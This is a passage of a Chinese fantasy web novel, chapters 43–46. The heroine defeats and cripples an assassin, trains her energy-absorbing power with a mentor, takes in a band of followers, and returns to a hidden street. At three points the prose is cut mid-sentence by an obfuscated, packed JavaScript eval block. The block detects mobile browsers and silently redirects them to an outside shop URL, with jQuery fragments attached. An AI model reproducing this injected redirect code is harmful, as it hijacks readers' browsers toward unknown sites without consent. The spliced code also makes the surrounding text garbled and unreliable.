金属碰撞声是匕首和拳头骨节的碰撞,骨肉撞击声沉闷,像木棍敲在湿泥上。温初花的匕首划过影刃的袖口,裂开一道口子。影刃的拳头擦过温初花的额头,留下一道红印。她在月光下喘息,但喘得并不急。 她的目光始终锁着影刃的脸,不看他手上的动作,而是看他眼睛的细微变化。每一次移动视线,每一次呼吸的微调,她都能读出他下一步的意图。 影刃的呼吸比刚才重了一些。不是累,是认真了。 他杀过很多人,从没有跟一个人缠斗这么久。通常都是他调用缚灵粒子压制对方的能力,然后一刀割喉,干净利落。但今天不一样,他调用不了。 终端识别不到温初花的能量特征——她的异能力量被白光裹住了,像一个被藏起来的火种,你看不到它的光,但它还在燃烧。他只能靠体术跟她打。 但他擅长体术。 他杀过的那么多异人,都是在能力被压制之后、被他用拳头打死的。他的拳头比他的刀更熟悉人的身体。 又过了几招,温初花被他的拳头逼退了好几步,后背抵到了墙上。影刃的拳头迎面砸下来,她侧头躲开,他的拳头砸在她身后的墙面上,碎砖溅了她一脸。 她趁这一瞬间把匕首换到了左手,右手——空着的那只手——猛地张开。 她一直在等他靠近。 43. 鬼街女王已做好准备 影刃的拳头还没从墙上收回来,她空着的右手已经按在了他的胸口上。五指张开,掌心贴着他的衣服,隔着那层薄薄的布料,她能感觉到他的心在跳。 她开始吞噬。 她吞噬的是他体内的能量——不是异能力量,他没有那种东西,她吞噬的是他这一生积累的杀气、体能、精力、那条绷了太久的神经上蓄积的所有能量。 温初花蹲下来,跟他的视线平齐,匕首横在他颈边。 “我废了你的终端。” 影刃的目光剧烈地闪烁了一下。他的嘴唇翕动着,想要说什么,但那些话被震惊堵在了喉咙口,变成了一声沙哑的气音。 温初花看着他,没有立刻收刀,刀尖还抵着他的脖子。 影刃杀了三十七个人,三十七条命。 她见过那些尸体,见过墙上用血写的字,见过于昇说“三十七个人全部死了”时脸上的表情。她没有忘记那些,也不可能忘记。 她的刀尖从影刃的脖子上移开了,但没有收回去。她看着他,目光平静,像在看一件不能再用第二次的工具。 “我不会杀你。”她说。 影刃的嘴角动了一下,像是想笑,但没笑出来。 “你杀了三十七个人,”温初花说,“那些人是我的人。我不会让你死得这么便宜。” 她站起来,弯腰攥住影刃的衣领,把他从地上拽了起来。他比温初花高半个头,身体沉得像一袋湿了水的沙子,但他现在没有任何力气反抗。 温初花拖着他往窗户那边走,步子不重,像拖一件不重要的行李。她的脚下在地板上发出沉闷的拖拽声,影刃的鞋跟划过地面,留下一道灰白色的痕迹。 她走到窗前,把影刃举起来。 两只手托着他的腋下,猛地往窗台上一推,然后整个人从窗口翻了出去。 月光在那一刻亮得惊人。 影刃的身体在空中划过一道弧线,从二楼窗口坠向广场的石板地面。 他没有力气挣扎,没有能力自救,只能像一块被扔出去的石头一样往下落。他的身体砸在广场中央的石板上的时候,发出一声沉闷的响声,肋骨断了两根,他听见了自己的骨头在裂开,但他喊不出声,剧痛像潮水一样涌上来,把他所有的知觉都淹没了。 他躺在石板上,灰尘从地面腾起,又缓缓落下。 然后温初花也跳了下来。 她不是摔下来的,是翻过窗台后,在墙壁上蹬了一脚,调整了落地的姿态,整个人像一只从高处跃下的猫,双腿微屈,稳稳地落在了影刃身上。她的脚踩在他的胸口,重心压在他的伤处。 她站在那里,一只手垂在身侧,月光照在她身上,把她额头上那道红印照得清清楚楚。广场四周的窗口里、铁栅栏后面、喷泉池底的阴影里,那些探出来的脑袋里,每一双眼睛都看着这一幕,瞳孔缩紧,呼吸变轻。 广场上安静得像一口井,没有人说话,没有人在动,只有夜风从那些废弃的楼房间穿过,把墙角堆积的枯叶吹得沙沙作响,像低语声。 温初花低头看着脚边的人。影刃躺在石板上,胸口起伏着,肋骨断裂的地方在他的呼吸间隆起一个不自然的弧度。他的眼睛还睁着,看着她。那眼神很复杂,不是恐惧,不是愤怒,是一种他从未体验过的失落。 “你杀了三十七个人,”温初花的声音不算大,但在安静的广场上足够清晰,“那些人是我的人。我不会杀你,因为让你死太便宜了。你得活着,回去告诉派你来的那个人——”她顿了一下,“我温初花,从今天开始,不会再躲了。” 她抬起脚,从影刃身上走下来,在他身边站定。 然后她做了一件事。 她在他面前蹲下来,看着他躺在地上的脸。 月光把他的脸照得很清楚——平平无奇的一张脸,放在任何一群人中你都不会多看一眼。此刻那张脸上全是灰尘和血迹,但血迹不是她的,是他自己的。 温初花伸出手,捏住了他的右手手腕,手指在他的腕关节处捏了捏。然后她用力一拧。咔嚓。声音不大,像折断了一根干树枝。 影刃咬住了牙,没有叫出声,但汗水从他的额头上冒了出来,沿着太阳穴淌进耳朵里。他的手指不受控制地痉挛了一下,然后垂了下去。温初花站起来,看着他的右手。 她废了他的右手。 那只握刀杀人的手,从今天起再也握不住任何武器了。 “这是替那三十七个人要的。”她说。 广场上依然安静。 月光把温初花的影子投在石板上,很长很长,一直延伸到喷泉池的边缘。她站在那里,手里没有武器,脚边躺着一个人。 那个人身上没有流血的外伤,但他的右手以一种不正常的角度耷拉着,他的肋骨断了两根,他的体力被她抽干了,他连站都站不起来。 有人在远处倒吸了一口凉气,声音很轻,像风吹过破布。 更多的目光从黑暗中投过来,落在温初花身上,像一片片雪花无声地落在她肩上。 她没有看他们。 她低头看了影刃最后一眼。 “滚吧。”她说。 影刃用左手撑着地面,艰难地翻了个身,又花了几次呼吸,才从地上爬了起来。他的右手垂在身侧,像一件多余的东西,已经不听使唤了。 他没有看她,也没有说话,一步一步地往广场外走去,踉跄了一下,但没有停。 他的身影消失在广场对面的巷子里。温初花站在那里,看着她走远,直到他的脚步声彻底听不到了,才转过身。 广场四周的窗口里、铁栅栏后面、喷泉池底的阴影里,那些藏着的人还在。 有人在悄悄交换眼神,有人在低声说着什么,有人缩回了脑袋,有人还在看着。 温初花没有喊话,没有做任何多余的事。她只是站在那里,让月光照着她。 她的衣服破了,额头上有一道红印,但她的背挺得很直,像一棵长在石缝里的树,根扎在石板底下,风吹不动。 她的匕首已经收起来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640887|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右手垂在身侧,指尖还有一丝微弱的光,像握着一个小小的、快要灭掉的星火。 她环顾四周,看到那些藏在黑暗中的面孔,看不清他们的表情,但她能感觉到他们的目光。 那些目光里,有好奇,有敬畏,有恐惧。 广场对面,一栋楼的二楼窗口里,一个年轻人探出半个身子,嘴里叼着一根草棍,不是吴季浩,是另一个人。 他看着温初花,吐掉了嘴里的草棍,低声说了一句什么,声音太小,隔着整个广场她听不见。但她的耳力很好,隐约捕捉到了那几个字——“鬼街女王”。 温初花没有理会这个称呼,心中有痛快,也有失落。 这意味这自己真的得到了藤州的认可,却也意味着,以后的生活绝对不会平静。 但是,让他们来吧,躲藏换来的一时平静是没有用的,打服他们,才能获得真正的自由。 温初花望着灯下等着自己的人。 还好自己不是一个人面对。 苏游云站在灯柱旁边,看着她一步一步地走过来。 他的脸上没什么表情,但她注意到他的右手——垂在身侧的那只手——手指是松开的,没有蜷。他等她走到自己面前,才开口。 “你放了他。” 温初花停下来,偏头看了他一眼。“他只是一个棋子。杀了他,白洛明还会派下一个。留着他,让他回去带话,让白洛明知道——我不怕他。” 苏游云看着她。“你知道你放走他,意味着什么吗?” “意味着从今天开始,整个藤洲都会知道——我温初花,从鬼街出来了。我废了白洛明最强的杀手。我在广场上当着所有人的面说了那句话——‘不会再躲了。’”她停顿了一下,嘴角微微上扬,不是笑,是一种确认。 月光照在她身上,把她额头上那道被影刃拳头擦出来的红印照得清清楚楚。她的衣服破了几处,手臂上有一道血口子,不深,但正渗出细细的血珠。但她站在那里,像一棵被风吹过很多次的树,叶子掉了,枝干还在,根还扎在土里。 她看着苏游云,等他的回答。 他的目光在她脸上停了很久,久到她以为他不会说了。 然后他开口了,声音不大,但每个字都很清楚。 “那你准备好了吗?” “准备好什么?” “准备好当一个会被整个藤洲盯上的人。”他说,声音很稳,一字一句,像钉子钉入木桩,“有人会想杀你,有人会想利用你。也有人会来投奔你。从今天开始,你的名字不再是温初花。是‘鬼街女王’。” 温初花听完,把匕首从腕带上取下来,用袖口擦了擦刀刃,又插了回去。她抬起头,看着远处灰蒙蒙的天际线。 太阳快出来了,东边的天色开始泛白,像有什么东西正在从地底下慢慢拱出来。 她看了很久,久到苏游云以为她不打算回答了。然后她开口了,声音很轻,像是说给自己听的,又像是说给整个藤洲听的。 “那就来吧。” 44. 学习再学习 清晨,温初花推开救赎会据点五金店后门。 门轴在黑暗中发出一声尖细的响,像老鼠被踩了尾巴。她没有开灯,摸着墙走过堆满铁管和齿轮的门面,找到通往二楼的楼梯,一步一步地踩上去,木板在她脚下吱呀作响。 苏游云已经在了。 他坐在二楼那扇灰蒙蒙的窗户旁边,手里没有拿书。 窗帘拉开了一半,晨光从外面透进来,薄薄的,灰蓝色的,像一层被水洗过的棉布。他的侧脸被那层光照着,轮廓清晰,但表情看不清楚。 听到脚步声,他没有转头,只是把交叠的腿放下来,在椅子旁边留出一块空。 温初花走过去,在那块空地上坐下来。 她靠着货架,两条腿伸直了,脚尖抵着对面那面墙。 她的衣服破了,额头上那道红印还在,从额头一直斜到太阳穴,像一小片火烧过的痕迹。匕首被她从腕带上解下来,搁在旁边的地板上,伸手就能碰到。她闭着眼睛,没有看他。两个人之间隔着几步的距离。 过了很久,久到窗外的晨光从灰蓝色变成了灰白色,苏游云开口了。 “你赢了。” “但赢得不算漂亮。” 温初花睁开眼睛,偏头看着他。 他的目光还落在窗外,没有转向她。他的侧脸上没有多余的表情,语气平淡得像在说“今天天气不错”。但他说的内容是认真的,他的声音里有那种——你不需要用力也能听出来的认真。 “你跟他打了几个回合?”苏游云问。 “五六个。” “你用了多少招才把他逼到墙角?” 温初花没有立刻回答。她确实记不清了。打的时候顾不上数,只觉得匕首在手里转来转去,拳头和拳头撞在一起,中间分不清哪招是哪招。 “你自己都数不清。”苏游云说,“因为你是在凭本能打。你不是在用能力打。你的能力在你的身体里是一团火,你只会把它点着和吹灭。你把它当灯用。但它可以不只是灯。” 温初花靠在货架上,看着他的侧脸。“我的弱点是什么?” 苏游云终于转过头来,看着她。晨光从他的背后照过来,他的脸在逆光中看不太清楚,但她的眼睛在黑暗中适应了太久,能看清他的轮廓和表情的细微变化。 “你的能力很强,但你对它不够了解。”苏游云说,“你只会吞噬和释放,但能量吞噬能做到的不止这些。” 他顿了一下,像在组织语言,又像在等她准备好听。晨光从窗户外面照进来,在空气中缓缓移动,像水一样漫过地板,漫过货架,漫过两个人中间那段距离。 “第一种,能量的转化。”苏游云说,“你吞噬的能量,不一定只能用来变成自身的异能力量。它可以被转化成别的形态。攻击、防御、恢复,你想让它变成什么,它就可以变成什么。” 温初花没有说话。她低头看着自己的手,十根手指摊开,掌心朝上。她能感觉到那团火还在,比昨天更旺了一些,像一盆烧得很稳的炭火,不猛烈但持续。 她试着去感受那团火的形状,它的边缘是清晰的还是模糊的,它的温度是恒定的还是在变化。以前她从来没有想过这些问题,她只是把它点燃,然后让它烧。 烧完了就再点。像一个只会按开关的人,不知道灯可以调节亮度。 “你刚才说可以变成防御。怎么变?”她问。 苏游云从椅子上站起来,走到货架另一边,从一堆旧零件下面翻出一把缺了口的短刀,扔给她。 温初花接住了。 刀身很沉,刃口虽然崩了几个缺口,但整体还算完整。她握着刀,翻转过来看了看,又看了苏游云一眼,像是问:“你拿这个干什么?” “对着它使用你的能力。试着让你的能量覆盖刀身,而不是把它吞噬掉。” 温初花把刀横在面前,把注意力集中在刀身上。她能感觉到那团火在燃烧,热量从她的指尖渗出,像雾气一样覆盖在刀身表面,然后被刀吸了进去。 刀身没有变化,没有发光,没有发热。她皱了皱眉,又试了一次。还是一样。她把刀放下,抬头看他。 “什么都没有发生。”她说。 “有。” 苏游云走过来,蹲下身,把那把刀捡起来,用指甲弹了一下刀背。刀身发出一个清脆的响声,比刚才更脆、更长。他又弹了一下,声音在货架和墙壁之间来回弹了两下才消失。 “你改变了它的密度。从声音上听出来的,它比刚才更密了。如果继续练下去,你可以让它变得锋利好几倍。不需要磨刀石,你的能力就是最好的磨刀石。” 温初花从他手里接过那把刀,翻来覆去看了看。用指甲弹了一下,声音确实变了。她以前从来没有想过,自己吞噬来的能量还能用来强化武器。在她的认知里,能力就是用来打人的,用来逃命的,用来在最后一刻翻盘的。她从来没有想过,它还可以用来——做一把更好的刀。 苏游云站起来,走回窗边。 “第二种,能量的感知。你可以不只是感知能量的存在,还可以感知它的流动方向、密度变化、频率波动。换句话说,你可以看到周围所有人的能量波动。他们下一步要做什么,他们紧张不紧张,他们有没有在撒谎,他们的体力还剩多少——你全部都能看到。等你练熟了,你对周围的感知会比普通人快好几倍。在别人动手之前,你已经知道他要出哪只手了。因为你看得到。” 温初花沉默了。 她想起影刃的拳头从墙上收回来时,她准确地在他胸口找到了那个位置。当时她以为是运气,觉得是偶然碰上了。 现在回想起来,那几秒钟里她确实看到了一个东西,很小,很模糊,像一团淡色的光晕,在影刃的左胸口位置微微跳动了一下,然后她把手按上去了。她一直以为那是错觉,以为是月光晃了一下眼睛。也许不是。 “第三种,”苏游云的声音继续从窗口传来,“你吞噬的缚灵粒子越多,你对缚灵粒子的抗性就越强。影刃是终端调用缚灵粒子系统来压制异人的能力。如果你遇到他,你吞噬了一次他的缚灵粒子,你就会在他的能力面前越来越难被压制。下一次,他压不了你那么久。再下一次,他可能根本压不住你。再多几次——他的能力对你就彻底失效了。” 温初花听到这句话的时候,手指在膝盖上停了一下。然后她慢慢地攥紧了拳头,又松开。 她能感觉到指尖那种微微发烫的触感,像握着什么东西,但手掌里什么都没有。她在想要是她早几个月知道这个,在鬼街的时候就不会那么狼狈了。但早几个月也没用,那时候她连灯管都吞不了一盏,更别说吞缚灵粒子了。 她抬头看着苏游云的背影。“你怎么知道这些?你不是没有异能吗?” 苏游云沉默了一会儿,没有回头。窗外晨光更亮了一些,从灰白色变成了淡金色,照在他的肩膀上,像一层薄薄的霜。他的声音从逆光中传过来,很轻,轻得像在自言自语,但每个字都很清楚。 “我不需要有能力,才能了解能力。” 温初花看着他的背影。晨光照在他身上,他的轮廓清晰,但她看不清他的表情,看不到他的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643961|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她第一次意识到,这个男人身上藏着的秘密,比她想象的要多得多。他说话的方式——像一个人告诉你他知道路怎么走,但他不告诉你他是什么时候走过这条路的。 “你以前认识像影刃这样的人?”她问。 苏游云侧过头来,看了她一眼。他的脸半边在光里,半边在阴影中,表情被切成了两半,看不出完整的样子。 “我认识过比他更难缠的人。” 他说完这句话,转过身去,不再看她了。 他的目光落在窗外,落在远处灰蒙蒙的天际线上,落在藤洲岛还没有完全醒来的街道上。温初花没有追问。她重新拿起那把缺了口的短刀,翻过来,握紧了,闭上眼睛。 她试着去感受刀身内部的金属结构。她的感知沿着刀身的表面滑过去,碰到了一些不平整的地方——缺口、裂纹、钝掉的刃口,像河流遇到石头,水流变慢,绕着走。 她用意识把那些不平整的地方包裹住,像把一双手套戴在刀身上。那团火的热量从她的指尖渗进刀身,渗进那些缺口和裂纹里,像水渗进干涸的土地,把它们一点点填平。这一次,她感觉到了变化。 不是声音变了,是重量变了。刀身在她手里变得比刚才轻了一些,像失去了多余的部分,只剩下最核心的东西。 她睁开眼睛,低头看着手里的刀。 刃口还是崩的,缺口还在,但她能感觉到它内部的结构比以前更紧实了,像一块被反复锻打过的铁,每一层都压得死死的,没有空隙。 她拿着刀站起来,走到窗边,把刀举起来对着光。晨光照在刀身上,虽然没有光亮如新,但刃口比刚才多了一层微光。 “你是怎么做到的?”苏游云的声音从旁边传来,带着一丝不易察觉的变化——某种确认的迹象,像等了一夜的旅人听到了钟声的方向。 温初花没有看他。 “我刚才以为你让我做的是把能量注入刀身。后来我试了另一种办法——我把刀身当成一个容器,把能量填进它内部的空隙里,像填一个漏洞,从里面填。” 她转过来,把刀举到他面前,刀尖抵着天花板。 “刀身没变,但它的密度变了。你刚才说得对,它变得更密了。如果继续练下去,我能不能让它变成一把新的刀?” 苏游云低头看了看那刀身上那层微光,说:“你是那个能让铁再生的人。老周磨了一辈子刀,他磨的是表面。你磨的是内部。” 温初花把刀放下来,低头看着刀刃上那层薄薄的光晕,很淡,像一只眼睛里倒映的月光。 “再教我。”她说。 苏游云看着她,晨光从窗外涌进来,她站在那里,手里握着一把缺了口的旧刀,身上披着一层金黄色的光,像一棵刚从土里长出来的新芽。她看向窗口,天光大亮。她忽然想起一件事,转过头来看着他,眼神比刚才活泛了一些。 “对了,”她说,“影刃被我废了右手,至少半年内拿不了刀。” “我知道。” “我放他走了。” “我知道。”苏游云说,“他还活着,还能说话,还能跑,只是跑得不快,刀也拿不了。这个消息用不了三天就会传遍藤洲的每一寸角落。” 温初花转过身,走到窗边,推开了那扇灰蒙蒙的窗户。外面的风吹进来,带着早晨特有的清冷,凉丝丝的,吹在她的脸上,把她额头上那道红印吹得有些发疼。 “三天,”她说,“够不够把那些藏在角落里看着我的人引出来?” 苏游云站在她身后,看着她的背影。“那要看他们有多想活。” 45. 有人来投靠了 影刃被打败的消息,用了不到三天就传遍了藤洲岛。 港口、棚户区、废楼群、下水道聚居点。所有藏着人的地方都在传这件事——那个从鬼街出来的女人,在广场上当着几十个围观者的面,废了白洛明最强杀手的右手。 有人说她全身发光,有人说她把影刃从二楼扔了下去,有人说她捏碎了他的右手像捏碎一根树枝。传话的人越说越离谱,有的说她能让天上的鸟掉下来,有的说她能吸走人的寿命,有的说她已经不是人了,是神。 但不管怎么传,核心的那句话没有变——“她说了,从今天开始,不会再躲了。” 温初花听到这些传言的时候,正在五金店二楼的窗边擦匕首。 她把老周打的那把刀从腕带上解下来,用一块旧布蘸了点油,顺着刃口的方向一下一下地擦。动作很慢,像是在给自己时间想事情。 窗外的街道上人来人往,有人会抬头往这扇窗户看一眼,然后又低头走开。她知道有人在看,她不在乎。 苏游云坐在她斜对面的椅子上。今天他又拿了那本深蓝色封面的书,翻到折角那一页,但没有看进去。他闭着眼睛,像是在想什么事情,又像是在用他的能量感知过滤周围那些越来越密集的目光。 “你感觉到了吗?”苏游云忽然开口。 “感觉到什么?” “有人在靠近。不是来杀你的,是来找你的。约莫三十人,正在穿过港口的旧市场,往这个方向走。领头的是个女人。” 温初花把匕首收进腕带里,站起来,走到窗边。她把窗帘完全拉开,月光和街灯的光一起涌进来,照在她脸上。她靠窗站着,手臂交叉在胸前,目光投向街口的方向。 大约过了十几分钟,那群人出现了。 从巷口拐出来,黑压压一片,步子不紧不慢,像是一群走了很久的路、终于到了目的地的人,最后的几步反而不急了。 领头的是一个女人,三十出头,身材削瘦,穿着一件灰扑扑的外套,袖口挽到手肘,露出的手臂上有好几道旧疤。她的头发是短的,齐耳,被风吹得有些乱。眼睛不算大,但看人的时候很定,像两根钉子,落在哪儿就不动了。 她身后跟着一群人,高矮胖瘦都有,穿着各异,但都有一个共同点——他们的眼神,不像打量,更像押注。 温初花看着那群人停在五金店门口。 领头那个女人抬起头,跟站在二楼窗前的温初花对视了一眼,然后她低头,走进了五金店。身后那群人没有跟进来,他们散开在门口,有的靠在墙上,有的蹲在路边,有的站着,像是已经习惯了等待。 过了一小会儿,楼上响起了脚步声。 于昇走在前面,领着一个穿灰外套的女人上了二楼,侧身让开一步,请她进去。 那女人走进来,先看了一眼苏游云,然后目光落在窗边的温初花身上。她站在那里,没有往前迈步,也没有坐,双手垂在身侧,站得很直。 “我叫明术。”她说,“以前在港口那边做事,手下有五十来个人。都是些低阶异人,没什么大本事,但是能跑腿、能盯梢、能砍人。在藤洲待了八年,混过三个码头,两个仓库,一个垃圾场。现在——混不下去了。” 她顿了一下,目光在温初花脸上扫过,像在确认她会不会打断自己。温初花没有打断。她靠在窗台上,看着明术,像在看一个站在门口等着被评判的人。 “白洛明的人占了西边码头,林生宸的人占了东边。我们夹在中间,两边都得罪不起,两边都不收。再这样下去,不出三个月,我的那点人要么散掉,要么被人吃掉。”明术说,“所以我来赌一把。” “赌什么?” “赌你是预言里说的那个人。”明术看着她,“赌你能带我们冲出藤洲。赌跟着你,不会死得比跟着别人快。” 屋子里安静了一会儿。 五金店门口的街上偶尔有人经过,脚步声、说话声、远处汽车的喇叭声。明术站在那里,没有催,没有解释更多。 她后面的话像是已经提前写好了,从进门的那一刻就准备好要说完的。 温初花看了苏游云一眼。苏游云合上书,微微点了一下头。 温初花把目光收回来,落在明术身上。“我收你。但条件很苛刻——你想好了再答应。” “你说。” “第一,绝对服从。我说往东,你不能往西。我问你话,你不能撒谎。我让你等,你就不能动。” “可以。” “第二,如果你背叛我,我会亲手杀了你。不会让你死得痛快。” 明术没有犹豫。“可以。” “第三,我不会保护你手下的人。”温初花看着她,“他们想要跟着我,就得靠自己证明自己的价值。我只会开路,不会替你们挡刀。” 明术没有说话。她的嘴唇动了一下,像是想说什么,又咽了回去。她在来之前已经想好了温初花可能会提什么条件——绝对服从、不能背叛、甚至可能是某种形式的人质抵押。但这一条她没料到。她来投靠温初花,说到底是为了身后那五十个人。 他们在港口混不下去了,白洛明的人占了西边,林生宸的人占了东边,他们夹在中间,两边都得罪不起,两边都不收。再这样下去,不出三个月,那些人要么散掉,要么被人吃掉。 她不想看到那种结果,所以她才来赌这一把。温初花没有承诺保护任何人,她只是给了所有人一个机会,一个可以跟着她往前走的可能。 温初花的条件听起来苛刻,甚至有些不近人情。 但她能理解——一个刚从鬼街出来的人,凭什么替五十个素不相识的人挡刀?她要的不是一群只会躲在别人身后的累赘。 她要的是能跟她一起走的人。 明术把手插进外套口袋里,拇指在掌心按了一下,像是要确认什么东西还在。然后她点了点头,这一次点得很慢,像是在把这个承诺咽下去,咽到肚子里,藏起来,再也不吐出来。 “可以。”她说。 温初花从窗台上撑起来,走到明术面前,伸出手。明术看着那只手,上面有茧子,有疤,有今天刚磨破的皮。她握住了那只手,握得很用力,像是要把自己的重量全部压上去。 “从今天开始,”温初花说,“你的人就是我的人。你也是我的人。你记好我刚才说的那三条,别让我有机会执行第二条。” 明术松开手,退后一步。“记好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647167|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她转身下楼,脚步声在楼梯上笃笃笃地响了几下。 门口那群蹲着坐着靠着的人看到明术出来,没有问话,只是站起来,跟在她身后,像一群早就习惯了跟随的鸟,没有什么理由,只是跟着。明术走到巷口的时候回头看了一眼二楼那扇窗户,温初花还站在那里,月光落在她肩头,像一层薄薄的霜。 温初花看着那群人消失在巷口,才从窗边走开,重新坐回那把椅子上。 苏游云已经翻开了书,但没有看,他在等她说话。 “你觉得她怎么样?”温初花问。 “她说话的时候,心跳没有加速。说明她说的都是真话。” “那她能不能用?” 苏游云合上书,放在膝盖上。“现在说不好。但她来投靠你这件事本身就有用。你刚立完威,这时候有人来投,你不收,以后就没人来了。而且她手下五十个人,在藤洲底层待了八年,消息比我们灵通,路比我们熟悉。她会成为你的耳目,替你看那些你看不到的地方。” 温初花靠在椅背上,后脑勺抵着墙。“耳目。我需要的就是这个。” “你还需要更多。”苏游云说,“五十个人不够。但这是一个开始。明术代表的不是她一个人,她代表的是那些在藤洲底层待了太久、想出去却找不到门的人。你收了她,那些人就会知道——门开了。愿意来的人会慢慢靠过来。” 温初花没有说话。 她把匕首从腕带上抽出来,放在灯光下,看着刃口上那层薄薄的微光。今天她能感觉到刀身的密度在变化了,虽然还很微弱,但她能感觉到。 像一棵种下去的小苗,你每天浇水,它每天长一点点,看不出来,但你知道它在长。 五金店楼下的街道上,夜风穿过空荡荡的巷子,把墙角枯叶吹得沙沙响。远处的港口传来一声汽笛,又低又长,像是有什么东西正在靠岸。 温初花把刀收起来,站起来,走到窗边,看着外面那条灰扑扑的街道。 月光照在石板路上,把路面上的裂纹照得一清二楚。她想,这条路她走过很多次了,从鬼街出来的时候,走过一次。去广场找影刃的时候,走过一次。现在,这条路又会通向哪里。 “苏游云。” “嗯。” “你觉得她说的‘赌一把’——有多少人愿意赌?” 苏游云站起来,走到她身边,跟她并肩站在窗边。他的目光投向远处港口的灯火,那些灯光在水面上碎成一片一片的,像被揉碎了的星星。 “愿意赌的人,比你想象的多。”他说,“他们缺的不是胆量,是方向。你给了他们方向。剩下的事,他们会自己走完。” 夜风从窗外灌进来,吹动了苏游云的衣摆,又拂过温初花额前细碎的发丝。她看着远处港口方向那些碎在水面上的灯火,在心里默默数了一下——她手下现在有方敏、小六、林韶华、吴季浩。还有于昇的救赎会,可以帮忙。 现在又多了明术和她那五十个人。不算多,但也不算少了。至少像一条河了,在慢慢聚拢水,慢慢涨起来。 她站在窗边,月光照在她身上,像一层银白色的铠甲,薄薄的,不重,但足够挡住那些从暗处投来的目光。 46. 回到鬼街 温初花站在拱门外,试着把自己的能量往那道门缝里送。黑匣子贴着她的胸口发烫,像有什么东西在它内部苏醒,温度透过衣服渗进皮肤。她闭上眼,把意识沉进那片浓雾里。 然后她感觉到了——那些浓雾不是死的东西,它们会回应她。像一扇锁了很久的门,被人推了一下,门轴在转动。 她睁开眼,雾气从中间裂开一条窄窄的通道,两边的雾像是被什么东西推开了一样,往后退去。通道的尽头是她住了三个月的鬼街,灰蒙蒙的地面,灰蒙蒙的墙。 她站在门外,看着那条通道,没有动。她不说话,也不迈步,就那么站着。通道在雾中维持着,约莫十几秒后,开始重新合拢,像被人慢慢拉上的一道帘子。 她试了第二次。这次她比刚才多释放了一些能量,黑匣子的温度更高了,滚烫的,贴着她的胸口像一块烧红的铁。通道开了,比刚才更宽,持续的时间也更久。她又试了第三次,这一次通道在她控制下维持了近三十秒,足够一个人走进去再走出来。 她站在鬼街入口,转身看着苏游云。苏游云站在她身后,目光里有一点她读不懂的东西,像是确认,又像是在想什么别的事情。 “你能打开它。”苏游云说。 “我能打开它。”温初花说,“但我不确定能不能让人走出去。”她低头看着自己摊开的掌心,把黑匣子从胸口拿出来握在手心里,它在她掌中微微发光,像一颗跳动的心脏,“我进来的时候,它好像在告诉我,门是跟着我走的。” 苏游云走到她身边,目光落在那道正在重新合拢的雾墙上。“那你需要试一下。看看你进来之后,还能不能再打开门出去。” 温初花没有接话。她看着那条正在缩窄的通道,在它完全合拢前的最后一刻,迈步走了进去。雾在她身边合拢,像一扇门在她身后关上了。 她站在鬼街的砖石地面上,脚下是熟悉的湿冷触感。她试着重新打开通道,跟之前在外面时一样,黑匣子的热量从胸口传递到全身,她的意识像一只无形的手往前伸,触到了那道雾墙。 雾墙没有动。 她能感觉到它的存在,能感觉到它内部的能量流动,但她推不开它。她用力了一些,额头冒出汗,雾墙还是不动。她又试了第三次、第四次,每一次都像在推一堵焊死了的铁门,没有一丝缝隙。 她停下来,喘了一口气。 “出去的路打不开。”她说。 苏游云没有惊讶,他站在雾墙的另一侧,声音隔着雾传过来,听不太真切,但她能听清。“先回来吧。这门你开过三次,不会只开三次。” 温初花退了回去,重新站到藤洲的土地上。通道在她身后重新合拢,像从来没有打开过一样。她弯腰撑着膝盖缓了一会儿,然后直起身,拍了拍手上的灰。 她忽然想明白了一件事——她能开门进来,但她不确定能不能出去。这说明她需要更多时间,需要更多的尝试,直到她能完全掌控这道门。 如果她能把这道门完全掌控在手里,鬼街就是她的。 两人一前一后走进了那条通道。 鬼街的街道还是老样子,灰蒙蒙的,湿漉漉的,墙角长着青苔,头顶的电线上挂着不知道挂了多久的塑料袋。 有人在一楼窗台上晒了一件衣服,衣服在风里轻轻摆动,像一面褪了色的旗。那栋老楼还在那,楼道里的灯还是坏的,月光从拐角那扇破窗户照进来,在墙壁上铺了一层银白色的光。 每一级台阶她都很熟悉,哪一级踩上去会响,哪一级的扶手是松的,她都记得清清楚楚。 走到三楼,她在那扇门前停了一下。门把手上没有灰,像是最近被人擦过。门缝底下透出一线微弱的黄光,不刺眼,像是一盏调得很暗的灯。 温初花看着那线光,没有立刻推门。她已经三个多月没有回来过了,一直以为这扇门会落满灰尘、锁眼生锈、空气里凝结着过期的时间。但有人替她打扫过。她用力推了一下,门没有锁,吱呀一声开了。 